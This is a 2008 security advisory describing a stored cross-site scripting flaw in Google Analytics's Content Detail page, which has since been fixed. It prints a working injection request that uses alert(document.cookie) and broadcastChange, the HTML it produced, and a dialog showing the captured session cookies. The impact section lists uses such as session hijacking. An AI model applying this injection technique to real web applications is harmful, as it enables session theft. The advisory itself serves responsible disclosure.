



## Vulnerability Advisory

<b>Name</b>	Google Analytics – Stored Cross Site Scripting
<b>Affected Software</b>	Google Analytics – <a href="http://www.google.com/analytics/">http://www.google.com/analytics/</a>
<b>Researcher</b>	Roberto Suggi Liverani <a href="mailto:roberto.suggi@security-assessment.com">roberto.suggi@security-assessment.com</a>

### Description

Security-Assessment.com recently conducted a security review of the Google Analytics service, provided by Google Inc. Analysis discovered a stored Cross Site Scripting (XSS) vulnerability present in the Analytics web application. A malicious user is able to inject arbitrary browser content through web sites subscribed to the Google Analytics service. The script content injected was rendered into the Google Analytics Content Detail page which uses an Ajax-based menu to list the URL and the number of page views of the visited pages.

The following URL points to the Google Analytics Content Detail page:

URL	Vulnerable JavaScript Function
<a href="https://www.google.com/analytics/reporting/content_detail">https://www.google.com/analytics/reporting/content_detail</a>	goog.analytics.PropertyManager._getInstance()._broadcastChange()

### Exploit Description - Attacker

A malicious user visits site xxx.com which is subscribed to the Google Analytics service and employs the Google Analytics JavaScript tracking code. The attacker performs the following request which includes the Cross Site Scripting payload and the Google Analytics JavaScript function broadcastChange():

Malicious GET Request
<code>http://xxx.com/search.asp?keyword=test"); alert(document.cookie); goog.analytics.PropertyManager._getInstance()._broadcastChange("drilldown", "/search.asp?keyword=test")</code>

In the example above, the broadcastChange function is used to terminate the malicious payload injection and to make the victim's browser execute the malicious script with no errors.

The web server responds with HTTP Status 200. The URL of the page requested and the Cross Site Scripting payload is passed to the Google Analytics service through the JavaScript tracking code.

The injected script content results as the following HTML being generated by the Google Analytics Content Detail page:

HTML Source Code
<pre>&lt;a title='/search.asp?keyword=test"); alert(document.cookie); goog.analytics.PropertyManager._getInstance()._broadcastChange("drilldown", "/search.asp?keyword=test ' href='javascript:goog.analytics.PropertyManager._getInstance()._broadcastChange ("drilldown", "/search.asp?keyword=test"); alert(document.cookie); goog.analytics.PropertyManager._getInstance()._broadcastChange("drilldown", "/search.asp? keyword=test")'&gt; /search.asp?keyword=test"); alert(document.cookie); goog.analytics.PropertyManager._getInstance()._broadcastChange("drilldown", "/search.asp?keyword=test &lt;/a&gt;</pre>



### Exploit Description - Victim

The victim logs into Google Analytics service. The login page redirects the user to:  
<https://www.google.com/analytics/settings/>

The user clicks on the View Reports for its website (which was attacked with the injection described above). The user is redirected to a similar URL:

View Reports Page
<a href="https://www.google.com/analytics/reporting/?reset=1&amp;id=xxxxxxx&amp;cid=yyyyyyy">https://www.google.com/analytics/reporting/?reset=1&amp;id=xxxxxxx&amp;cid=yyyyyyy</a>

The user accesses the Content Overview section and clicks on one of the listed pages. The user is then redirected to a similar URL (in this example, the user clicked on index.html):

Content Overview Section
<a href="https://www.google.com/analytics/reporting/content_detail?id=xxxxxxx&amp;pdr=20080726-20080825&amp;cmp=average&amp;d1=%2Findex.html">https://www.google.com/analytics/reporting/content_detail?id=xxxxxxx&amp;pdr=20080726-20080825&amp;cmp=average&amp;d1=%2Findex.html</a>

In the Content Detail page for index.html, an Ajax-based menu lists the most visited pages and their relative page views (as shown in the screen shot below):

Content Detail Page With Ajax-Based Menu																							
Visit this page Analyze: <b>Content Detail</b> Content: <b>index.html</b>																							
<b>48 Pageviews</b>																							
<b>38 Unique Views</b>																							
<b>00:01:34 Time on Page</b>																							
<b>57.89% Bounce Rate</b>																							
<b>64.58% % Exit</b>																							
<b>\$0.00 \$ Index</b>																							
	<table border="1"><thead><tr><th>Top Content</th><th>Pageviews</th></tr></thead><tbody><tr><td>/index.html</td><td>48</td></tr><tr><td>/personal_software_</td><td>13</td></tr><tr><td>/personal_software_</td><td>10</td></tr><tr><td>/personal_software_</td><td>4</td></tr><tr><td>/personal_software_</td><td>4</td></tr><tr><td>/search.asp?keywor</td><td>3</td></tr><tr><td>/search.asp?keywor</td><td>3</td></tr><tr><td>/personal_software_</td><td>2</td></tr><tr><td>/search.asp?keywor</td><td>2</td></tr><tr><td>/personal_software_</td><td>2</td></tr></tbody></table>	Top Content	Pageviews	/index.html	48	/personal_software_	13	/personal_software_	10	/personal_software_	4	/personal_software_	4	/search.asp?keywor	3	/search.asp?keywor	3	/personal_software_	2	/search.asp?keywor	2	/personal_software_	2
Top Content	Pageviews																						
/index.html	48																						
/personal_software_	13																						
/personal_software_	10																						
/personal_software_	4																						
/personal_software_	4																						
/search.asp?keywor	3																						
/search.asp?keywor	3																						
/personal_software_	2																						
/search.asp?keywor	2																						
/personal_software_	2																						

When the user clicks on the link of the page which was attacked, the browser executes the injected payload from the google.com domain, as shown in the following page.



**Content Detail Page With Ajax-Based Menu**

The page at <https://www.google.com> says:

```
__utma=173272373.260654235711172800.1219791985.1219791985.1219791985.1; __utmb=173272373.10.9.1219792667885; __utmc=173272373; __utmz=173272373.1219791985.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=google%20analytics; AnalyticsUserLocale=en-US; GA_AdminV2Whitelist=on; PREF=ID=1f917c087aee4f9c:TM=1219368316:LM=1219368316:S=qniHs9j2P-0AZeDM; NID=14=OxQIa0Bj0sa0FG2O6AO_HHgo5WrREWrygmFGU3xgGic9tvs4ftrHl_uIP_dBuSyto1AWyWqeUnY0MQy0vogsTMPnopywPbNPpATTyqc50ref-1BrYJWGHo6-1D7; S=awfe=5_qWNDzoluCOj06hF2RPOg;awfe-efe=5_qWNDzoluCOj06hF2RPOg;gafe=YjKxJuy9j7o; rememberme=false; SID=DQAAAHYAAACxvdu00Tosp1RYhKia0ilt-UYAV2xBQFzudFvGWd08vEldwiq38EerAmkHLvXyMUDTVVTIowIANLTLA9nGle-Z5vkCSSfp2aSpOdMX3vBaxNlaZFKZos8tM-d247P-Qnl_e46Fzn4Q0Ha0F-l_R68l2Hsw7egafzQ-T4Qb2Q
```

OK

**38 Unique Views**  
**00:01:34 Time on Page**  
**57.89% Bounce Rate**

How visitors found your content

**Entrance Paths**  
Paths visitors used to get to your content

**Landing Page Optimization**

A classic cross site scripting vulnerability, from Google.com. Eventually, the user is redirected to the Content Detail page for the search.asp?keyword=test entry. No JavaScript errors are returned to the JavaScript console.

## Impact

Cross Site Scripting attacks can be used in combination with a browser exploitation framework such as BeEF, Browser Rider, Metasploit browser exploits, Backweb, Anehta, XSS Proxy and Backframe. These frameworks allow for complex JavaScript and browser-based exploit development.

Other potential impacts include:

- Hijacking users browser session;
- Capturing sensitive information viewed by Google Analytics users;
- Defacement of the Google Analytics website;
- Port scanning of internal user hosts;
- Directed delivery of additional browser-based exploits, such as ActiveX or URI handler exploits

## Solution

Security-Assessment.com follows responsible disclosure and promptly contacted Google when the issue was first discovered. First contact with the vendor was made on the 25<sup>th</sup> August 2008. Confirmation of the vulnerability was made by Google on the 4<sup>th</sup> September 2008.

On the 3<sup>rd</sup> December 2008, Google communicated to Security-Assessment.com that Google Analytics has been fixed. Security-Assessment.com performed a regression test on the same attack vector and confirmed the issue has been resolved.

## About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us

Web [www.security-assessment.com](http://www.security-assessment.com)

Email [info@security-assessment.com](mailto:info@security-assessment.com)

Phone +649 302 5093